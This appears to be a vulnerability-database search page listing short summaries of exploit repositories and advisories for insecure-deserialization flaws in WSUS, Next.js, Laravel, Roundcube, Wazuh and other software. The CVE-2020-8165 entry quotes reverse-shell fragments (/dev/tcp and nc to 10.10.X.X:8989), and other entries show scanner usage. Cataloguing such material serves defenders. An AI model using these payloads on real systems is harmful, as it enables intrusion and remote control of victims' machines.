Lucene search
+L

1980 matches found

Kitploit
Kitploit
added 2026/09/13 12:24 p.m.10 views

CVE-2025-59287

In this study, we will examine a critical vulnerability CVE-2025-59287 discovered in the Microsoft Windows Server Update Services WSUS environment. This vulnerability arises from the unsafe deserialization of AuthorizationCookie objects sent to the GetCookie endpoint, where encrypted cookie data ...

9.8CVSS7.9AI score0.99979EPSS
SaveExploits24
Kitploit
Kitploit
added 2026/09/13 11:49 a.m.4 views

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Examples Assess an IP for CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Assess a hostname for CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Assess a CIDR network range for CVE-2019-18935 $ python3 telerikrcescan.py -r...

9.8CVSS7.8AI score0.99737EPSS
SaveExploits16References2
EUVD
EUVD
added 2026/09/13 11:42 a.m.4 views

EUVD-2026-77001

ESPnet before 202609 deserializes pretrained model checkpoints using torch.load with weightsonly=False, allowing arbitrary code execution from attacker-supplied files. Attackers can craft malicious checkpoint files that execute code during deserialization when loaded through the initialization or...

8.8CVSS
SaveExploits0References6
Kitploit
Kitploit
added 2026/09/13 11:16 a.m.6 views

react2shell-CVE-2025-55182-full-rce-script

Next.js React2Shell CVE-2025-55182 Exploit Tool A proof-of-concept tool for demonstrating the critical React2Shell vulnerability CVE-2025-55182 / CVE-2025-66478 on authorized, local testing environments only. ⚠️ CRITICAL WARNING: ACTIVE EXPLOITATION This vulnerability CVSS 10.0 is being actively...

10CVSS7.5AI score0.99802EPSS
SaveExploits405
Kitploit
Kitploit
added 2026/09/13 10:48 a.m.8 views

CVE-2025-61882-Oracle-BI-Publisher-RCE

Affected Software: Oracle BI Publisher versions 12.2.1.4.0, 12.2.1.3.0. Vulnerability Type: Remote code execution via insecure deserialization in the BI Publisher integration component. Description: The BI Publisher integration component deserializes untrusted data without validation, allowing...

9.8CVSS7.9AI score0.99732EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/13 10:44 a.m.5 views

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 Expl0it A proof-of-concept tool for demonstrating the critical React2Shell vulnerability CVE-2025-55182 / CVE-2025-66478 on authorized, local testing environments only. ⚠️ CRITICAL WARNING: ACTIVE EXPLOITATION LEGAL USE ONLY : Use exclusively against systems you...

10CVSS7.5AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/13 10:22 a.m.5 views

CVE-2018-15133-PoC

CVE-2018-15133-PoC This Python script implements a remote code execution RCE exploit for vulnerable Laravel applications through insecure deserialization, based on the CVE-2018-15133 vulnerability. The exploit takes advantage of a vulnerability in Laravel versions 5.5.40 and earlier, and 5.6.0 to...

8.1CVSS7.8AI score0.76814EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/09/13 10:20 a.m.6 views

CVE-2025-53691

CVE-2025-53691: Remote code execution RCE through insecure deserialization The same reflection mechanism in the AjaxScriptManager can be used to invoke the ProcessSerializedData method. This method deserializes a provided payload using the insecure BinaryFormatter, leading to RCE. An attacker can...

8.8CVSS7.2AI score0.01544EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/13 8:40 a.m.5 views

CVE-2022-48565-POC

CVE-2022-48565 PoC Introduction This is a Proof of Concept PoC demonstrating the vulnerability CVE-2022-48565 , which is based on unsafe deserialization of Plist files in Python. By processing specially crafted Property List Plist files, an attacker can execute arbitrary code on the target system...

9.8CVSS7.4AI score0.05065EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/13 8:10 a.m.108 views

xvna

XVNA Extreme Vulnerable Node Application XVNA is an extreme vulnerable node application coded in NodejsExpressjs/MongoDB that helps security enthusiasts to learn application security. it's not counseled to host this application online as it is intended to be Vulnerable. We tend to suggest hosting...

5.5AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 7:59 a.m.7 views

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Roundcube Webmail Remote Code Execution Vulnerability Technical Overview CVE-2025-49113 is a critical insecure deserialization vulnerability in Roundcube Webmail that enables authenticated remote code execution. The vulnerability stems from improper handling of serialized PHP...

9.9CVSS8.2AI score0.98897EPSS
SaveExploits29
Kitploit
Kitploit
added 2026/09/13 6:27 a.m.7 views

CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE-

CVE-2025-64512 - pdfminer.six Remote Code Execution RCE -orange WARNING – EDUCATIONAL USE ONLY This proof-of-concept is for authorized security testing and educational purposes only. Use only on systems you own or have explicit written permission to test. The author is not responsible for any...

8.6CVSS7.4AI score0.00312EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/13 6:15 a.m.6 views

react2shellVulnApp

React2Shell Vulnerable Banking Application Lab Deliberately vulnerable banking app for CVE-2025-55182 React and CVE-2025-66478 Next.js to learn, detect, and safely exercise React2Shell. Runs unpatched React 19.0.0 and Next.js 15.0.3. Overview Fictional SecureBank built with Next.js App Router and...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 4:52 a.m.6 views

CVE-2025-24016

Wazuh Remote Code Execution RCE - PoC Vulnerability Overview This repository demonstrates the remote code execution RCE vulnerability in the Wazuh server, introduced by an unsafe deserialization in the wazuh-manager package. The vulnerability allows remote attackers with API access compromised...

9.9CVSS8.4AI score0.9384EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/09/13 4:47 a.m.7 views

CVE-2023-45185

CVE-2023-45184 IBM i Access Client Solutions 1.1.9.4 - Remote code execution via insecure deserialisation. Timeline Vulnerability reported to vendor: 22.09.2023 New fixed 1.1.9.4 version released: 08.12.2023 Public disclosure: 15.12.2023 Description IBM i Access Client Solutions uses insecure...

8.8CVSS7.7AI score0.01624EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/13 4:35 a.m.5 views

CVE-2025-55182-Scanner

CVE-2025-55182 RCE Scanner Batch detection and verification tool for CVE-2025-55182 React2Shell remote code execution vulnerability. ⚠️ CVSS 10.0 Critical Vulnerability | Affects React Server Components and Next.js 15.x/16.x versions | For authorized security testing only Vulnerability Overview...

10CVSS7.6AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/13 4:16 a.m.12 views

CVE-2020-8165

CVE-2020-8165 Python Exploit This is code to exploit CVE-2020-8165 using Python3. This exploit works with rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Major Credits Original CVE details:...

9.8CVSS7.5AI score0.45732EPSS
SaveExploits5References1
Kitploit
Kitploit
added 2026/09/13 2:16 a.m.4 views

CVE-2026-12191

CVE-2026-12191 A proof-of-concept exploit for CVE-2026-12191, an insecure deserialization vulnerability in Comma AI Openpilot's modeld.py, that allows a local low-privileged attacker to achieve arbitrary code execution by supplying a crafted malicious Python pickle payload to the...

8.5CVSS7.9AI score0.00136EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/13 2:15 a.m.6 views

CVE-2025-1337-PoC

PoC para CVE-2025-1337 Prueba de concepto para la vulnerabilidad de Ejecución Remota de Código RCE en el servicio LogServ v1.2. Detalles de la Vulnerabilidad CVE: CVE-2025-1337 Software: LogServ v1.2 Tipo: Deserialización insegura de un objeto de sesión en la cookie sessiondata. Impacto: Un...

5.1CVSS5.6AI score0.00534EPSS
SaveExploits3
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.83 views

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

4.3CVSS6.9AI score0.02869EPSS
SaveExploits1References5
Rows per page
Query Builder